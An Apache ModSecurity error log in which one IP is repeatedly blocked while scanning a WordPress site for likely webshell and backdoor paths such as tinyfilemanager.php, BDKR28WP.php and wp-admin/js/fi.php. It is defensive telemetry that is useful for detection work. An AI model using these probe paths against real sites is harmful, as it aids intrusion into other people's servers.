[Mon Apr 20 02:01:58.984016 2026] [:error] [pid 47772:tid 47792] [client 72.146.9.108:26739] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aeUYloc0L16cb4smAz8LGwAAAAM"]
[Mon Apr 20 02:01:59.772704 2026] [:error] [pid 15694:tid 15730] [client 72.146.9.108:26355] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aeUYl7imB-jol1fwqAorOAAAAYQ"]
[Mon Apr 20 02:02:00.451680 2026] [:error] [pid 15763:tid 15814] [client 72.146.9.108:25756] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aeUYmLMXv1Y1THOoxaA6fwAAAhI"]
[Mon Apr 20 02:02:01.083067 2026] [:error] [pid 47772:tid 47801] [client 72.146.9.108:27054] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aeUYmYc0L16cb4smAz8LHwAAAAw"]
[Mon Apr 20 02:02:01.635225 2026] [:error] [pid 15764:tid 15851] [client 72.146.9.108:26335] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aeUYmWLL_sqdSHoVp-R4KwAAAlg"]
[Mon Apr 20 02:02:02.140323 2026] [:error] [pid 47773:tid 47823] [client 72.146.9.108:26303] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aeUYmuiBHdnCJDuPq9B3PwAAAEc"]
[Mon Apr 20 02:02:02.645408 2026] [:error] [pid 47773:tid 47816] [client 72.146.9.108:27112] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aeUYmuiBHdnCJDuPq9B3QAAAAEA"]
[Mon Apr 20 02:02:03.179380 2026] [:error] [pid 15760:tid 15778] [client 72.146.9.108:27066] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aeUYm_SdD_XHQMJ_ISuwrQAAAco"]
[Mon Apr 20 02:02:03.672013 2026] [:error] [pid 15760:tid 15768] [client 72.146.9.108:26363] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aeUYm_SdD_XHQMJ_ISuwrwAAAcA"]
[Mon Apr 20 02:02:04.197478 2026] [:error] [pid 15694:tid 15734] [client 72.146.9.108:27041] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aeUYnLimB-jol1fwqAorPAAAAYg"]
[Mon Apr 20 02:02:04.691106 2026] [:error] [pid 47775:tid 47844] [client 72.146.9.108:25371] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aeUYnLmztjlk9tsmoexE2AAAAIE"]
[Mon Apr 20 02:02:05.180442 2026] [:error] [pid 15764:tid 15841] [client 72.146.9.108:26716] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aeUYnWLL_sqdSHoVp-R4LwAAAk8"]
[Mon Apr 20 02:02:05.698066 2026] [:error] [pid 15760:tid 15787] [client 72.146.9.108:24836] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aeUYnfSdD_XHQMJ_ISuwtAAAAdM"]
[Mon Apr 20 02:02:06.186703 2026] [:error] [pid 47886:tid 47892] [client 72.146.9.108:27126] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aeUYnkSe8yiyuPrD7yOd9wAAAMQ"]
[Mon Apr 20 02:02:06.689887 2026] [:error] [pid 15694:tid 15745] [client 72.146.9.108:24911] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aeUYnrimB-jol1fwqAorPwAAAZM"]
[Mon Apr 20 02:02:07.176582 2026] [:error] [pid 47775:tid 47849] [client 72.146.9.108:27053] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aeUYn7mztjlk9tsmoexE2QAAAIY"]
[Mon Apr 20 02:02:07.671209 2026] [:error] [pid 47886:tid 47901] [client 72.146.9.108:25418] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aeUYn0Se8yiyuPrD7yOd-AAAAM0"]
[Mon Apr 20 02:02:08.182435 2026] [:error] [pid 15760:tid 15770] [client 72.146.9.108:26660] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aeUYoPSdD_XHQMJ_ISuwuQAAAcI"]
[Mon Apr 20 02:02:08.654178 2026] [:error] [pid 15694:tid 15738] [client 72.146.9.108:24133] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aeUYoLimB-jol1fwqAorQgAAAYw"]
[Mon Apr 20 02:02:09.130490 2026] [:error] [pid 47772:tid 47805] [client 72.146.9.108:26348] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aeUYoYc0L16cb4smAz8LIQAAABA"]
[Mon Apr 20 02:02:09.689209 2026] [:error] [pid 47886:tid 47902] [client 72.146.9.108:27111] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aeUYoUSe8yiyuPrD7yOd-wAAAM4"]
[Mon Apr 20 02:02:10.155278 2026] [:error] [pid 47775:tid 47846] [client 72.146.9.108:24163] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aeUYormztjlk9tsmoexE3AAAAIM"]
[Mon Apr 20 02:02:10.631967 2026] [:error] [pid 47886:tid 47894] [client 72.146.9.108:26678] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aeUYokSe8yiyuPrD7yOd_wAAAMY"]
[Mon Apr 20 02:02:11.137502 2026] [:error] [pid 15694:tid 15733] [client 72.146.9.108:27078] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/"] [unique_id "aeUYo7imB-jol1fwqAorRQAAAYc"]
[Mon Apr 20 02:02:11.693355 2026] [:error] [pid 47886:tid 47888] [client 72.146.9.108:27109] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/"] [unique_id "aeUYo0Se8yiyuPrD7yOeAgAAAMA"]
[Mon Apr 20 02:02:12.227290 2026] [:error] [pid 47772:tid 47807] [client 72.146.9.108:26669] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/"] [unique_id "aeUYpIc0L16cb4smAz8LIgAAABI"]
[Mon Apr 20 02:02:12.724478 2026] [:error] [pid 47773:tid 47837] [client 72.146.9.108:25764] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/"] [unique_id "aeUYpOiBHdnCJDuPq9B3QQAAAFU"]
[Mon Apr 20 02:02:13.302538 2026] [:error] [pid 15694:tid 15726] [client 72.146.9.108:26733] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeUYpbimB-jol1fwqAorTgAAAYM"]
[Mon Apr 20 02:02:13.845307 2026] [:error] [pid 15764:tid 15835] [client 72.146.9.108:26305] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeUYpWLL_sqdSHoVp-R4MwAAAkk"]
[Mon Apr 20 02:02:14.372210 2026] [:error] [pid 15764:tid 15843] [client 72.146.9.108:25841] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeUYpmLL_sqdSHoVp-R4NQAAAlE"]
[Mon Apr 20 02:02:14.906802 2026] [:error] [pid 15764:tid 15836] [client 72.146.9.108:26677] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeUYpmLL_sqdSHoVp-R4OAAAAko"]
[Mon Apr 20 02:02:15.402681 2026] [:error] [pid 15693:tid 15716] [client 72.146.9.108:25842] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeUYp8NMD-ccazQlTslyUQAAAVQ"]
[Mon Apr 20 02:02:15.910440 2026] [:error] [pid 15693:tid 15717] [client 72.146.9.108:23579] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeUYp8NMD-ccazQlTslyUgAAAVU"]
[Mon Apr 20 02:02:16.381847 2026] [:error] [pid 15693:tid 15701] [client 72.146.9.108:27051] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeUYqMNMD-ccazQlTslyUwAAAUU"]
[Mon Apr 20 02:02:16.854081 2026] [:error] [pid 15694:tid 15740] [client 72.146.9.108:27052] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeUYqLimB-jol1fwqAorTwAAAY4"]
[Mon Apr 20 02:02:39.889165 2026] [:error] [pid 15693:tid 15705] [client 72.146.9.108:26268] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeUYv8NMD-ccazQlTslyawAAAUk"]
[Mon Apr 20 02:02:40.401942 2026] [:error] [pid 15763:tid 15797] [client 72.146.9.108:25768] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeUYwLMXv1Y1THOoxaA6jwAAAgE"]
[Mon Apr 20 02:02:40.902595 2026] [:error] [pid 15763:tid 15805] [client 72.146.9.108:25440] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeUYwLMXv1Y1THOoxaA6kwAAAgk"]
[Mon Apr 20 02:02:41.381206 2026] [:error] [pid 15694:tid 15735] [client 72.146.9.108:26655] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeUYwbimB-jol1fwqAorXgAAAYk"]
[Mon Apr 20 02:02:41.887245 2026] [:error] [pid 47886:tid 47901] [client 72.146.9.108:26334] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeUYwUSe8yiyuPrD7yOeCgAAAM0"]
[Mon Apr 20 02:02:42.359136 2026] [:error] [pid 47772:tid 47801] [client 72.146.9.108:26629] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeUYwoc0L16cb4smAz8LOQAAAAw"]
[Mon Apr 20 02:02:42.834691 2026] [:error] [pid 47773:tid 47834] [client 72.146.9.108:26638] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeUYwuiBHdnCJDuPq9B3SgAAAFI"]
[Mon Apr 20 02:02:43.314179 2026] [:error] [pid 15765:tid 15859] [client 72.146.9.108:26644] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeUYw_Rqinw-W5EwQ74eGQAAAoY"]
[Mon Apr 20 02:02:43.786041 2026] [:error] [pid 15694:tid 15732] [client 72.146.9.108:27335] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aeUYw7imB-jol1fwqAorYAAAAYY"]
[Mon Apr 20 02:02:44.302769 2026] [:error] [pid 47886:tid 47911] [client 72.146.9.108:27317] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aeUYxESe8yiyuPrD7yOeDAAAANc"]
[Mon Apr 20 02:02:44.776414 2026] [:error] [pid 15693:tid 15704] [client 72.146.9.108:26738] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aeUYxMNMD-ccazQlTslybgAAAUg"]
[Mon Apr 20 02:02:45.282076 2026] [:error] [pid 47886:tid 47902] [client 72.146.9.108:26684] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aeUYxUSe8yiyuPrD7yOeDQAAAM4"]
[Mon Apr 20 02:02:45.779037 2026] [:error] [pid 47886:tid 47905] [client 72.146.9.108:26324] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aeUYxUSe8yiyuPrD7yOeDgAAANE"]
[Mon Apr 20 02:02:46.252227 2026] [:error] [pid 15763:tid 15796] [client 72.146.9.108:26670] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aeUYxrMXv1Y1THOoxaA6mQAAAgA"]
[Mon Apr 20 02:02:46.721379 2026] [:error] [pid 47772:tid 47808] [client 72.146.9.108:27048] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aeUYxoc0L16cb4smAz8LOwAAABM"]
[Mon Apr 20 02:02:47.228361 2026] [:error] [pid 47773:tid 47839] [client 72.146.9.108:27090] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aeUYx-iBHdnCJDuPq9B3TQAAAFc"]
[Mon Apr 20 02:02:47.696301 2026] [:error] [pid 15693:tid 15719] [client 72.146.9.108:26241] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeUYx8NMD-ccazQlTslycAAAAVc"]
[Mon Apr 20 02:02:48.185546 2026] [:error] [pid 15694:tid 15745] [client 72.146.9.108:27386] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeUYyLimB-jol1fwqAorZwAAAZM"]
[Mon Apr 20 02:02:48.675284 2026] [:error] [pid 47773:tid 47826] [client 72.146.9.108:27070] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeUYyOiBHdnCJDuPq9B3TgAAAEo"]
[Mon Apr 20 02:02:49.149777 2026] [:error] [pid 15694:tid 15733] [client 72.146.9.108:25815] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeUYybimB-jol1fwqAorawAAAYc"]
[Mon Apr 20 02:02:49.624537 2026] [:error] [pid 15694:tid 15732] [client 72.146.9.108:27057] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aeUYybimB-jol1fwqAorbwAAAYY"]
